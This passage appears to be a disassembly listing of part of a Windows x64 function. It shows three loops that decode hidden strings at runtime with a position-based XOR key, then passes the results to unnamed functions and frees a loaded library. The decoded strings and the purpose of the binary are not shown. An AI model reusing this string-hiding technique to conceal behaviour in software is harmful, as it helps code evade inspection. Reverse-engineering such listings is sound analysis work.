lea rcx, [rbp + 0x40]
lea rdx, [rbp + 0x1f8]
lea rax, [rbp + 0x1f0]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp + 0xdcc], eax
mov rbx, qword [rbp + 0x1f8]
lea rax, [rbp + 0x760]
lea rdx, [rbp + 0x78f]
mov rcx, rax
call fcn.14000632c
lea rax, [rbp + 0x760]
mov qword [rbp + 0x828], rax
mov rax, qword [rbp + 0x828]
mov qword [rbp + 0x820], rax
mov rax, qword [rbp + 0x820]
movzx eax, byte [rax + 0x1f]
test al, al
setne al
test al, al
je 0x140008f53
mov rax, qword [rbp + 0x828]
mov rdx, qword [rbp + 0x828]
mov qword [rbp + 0x818], rdx
mov qword [rbp + 0x810], rax
mov dword [rbp + 0x80c], 0
jmp 0x140008f49
mov eax, dword [rbp + 0x80c]
movsxd rdx, eax
mov rax, qword [rbp + 0x810]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x80c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x818]
mov eax, dword [rbp + 0x80c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x1f
jle 0x140008ee8
nop
lea rax, [rbp + 0x760]
mov rdx, rax
mov rcx, rbx
call fcn.14004d980
mov qword [rbp + 0xdc0], rax
mov rax, qword [rbp + 0x1f8]
mov rcx, rax
call fcn.14000524b
mov rbx, qword [rbp + 0x1f8]
lea rax, [rbp + 0x790]
lea rdx, [rbp + 0x7b5]
mov rcx, rax
call fcn.140006478
lea rax, [rbp + 0x790]
mov qword [rbp + 0x800], rax
mov rax, qword [rbp + 0x800]
mov qword [rbp + 0x7f8], rax
mov rax, qword [rbp + 0x7f8]
movzx eax, byte [rax + 0x16]
test al, al
setne al
test al, al
je 0x14000905f
mov rax, qword [rbp + 0x800]
mov rdx, qword [rbp + 0x800]
mov qword [rbp + 0x7f0], rdx
mov qword [rbp + 0x7e8], rax
mov dword [rbp + 0x7e4], 0
jmp 0x140009055
mov eax, dword [rbp + 0x7e4]
movsxd rdx, eax
mov rax, qword [rbp + 0x7e8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7e4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x7f0]
mov eax, dword [rbp + 0x7e4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0x16
jle 0x140008ff4
nop
lea rsi, [rbp + 0x790]
lea rax, [rbp + 0x7b6]
lea rdx, [rbp + 0x7bb]
mov rcx, rax
call fcn.14000643e
lea rax, [rbp + 0x7b6]
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7d0]
movzx eax, byte [rax + 4]
test al, al
setne al
test al, al
je 0x140009143
mov rax, qword [rbp + 0x7d8]
mov rdx, qword [rbp + 0x7d8]
mov qword [rbp + 0x7c8], rdx
mov qword [rbp + 0x7c0], rax
mov dword [rbp + 0x7bc], 0
jmp 0x140009139
mov eax, dword [rbp + 0x7bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x7c0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7bc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x7c8]
mov eax, dword [rbp + 0x7bc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x7bc], 1
cmp dword [rbp + 0x7bc], 4
jle 0x1400090d8
nop
lea rdx, [rbp + 0x7b6]
mov rax, qword [rbp + 0xdc0]
mov r9, rsi
mov r8, rdx
mov rdx, rax
mov rcx, rbx
call fcn.14004d7c0
mov qword [rbp + 0xdb8], rax
mov rax, qword [rbp + 0x1f8]
mov rcx, qword [rbp + 0xdb8]
mov rdx, qword [rbp + 0xdc0]
mov r9d, 0
mov r8, rcx
mov rcx, rax
call fcn.14004d8a0
mov rax, qword [rbp + 0x1f0]
mov rcx, rax
call fcn.14004d9b0
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.140074da0
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.140074da0
mov rax, qword [rbp + 0x168]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
mov ebx, 1
lea rax, [rbp + 0x118]
mov rcx, rax
call fcn.14006e810
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.140074da0
lea rax, [rbp + 0x140]
mov rcx, rax
call fcn.140074da0
lea rax, [rbp + 0x170]
mov rcx, rax
call fcn.140074da0
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.140074da0
lea rax, [rbp + 0x1b0]
mov rcx, rax
call fcn.140074da0
lea rax, [rbp + 0x1d0]
mov rcx, rax
call fcn.140074da0
lea rax, [rbp + 0x200]
mov rcx, rax
call fcn.140074da0
lea rax, [rbp + 0x220]
mov rcx, rax
call fcn.140074da0
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.140074da0
lea rax, [rbp + 0x260]
mov rcx, rax
call fcn.140074da0
mov eax, ebx
jmp 0x140009563
add rsp, 0xe70
pop rbx
pop rsi
pop rbp
ret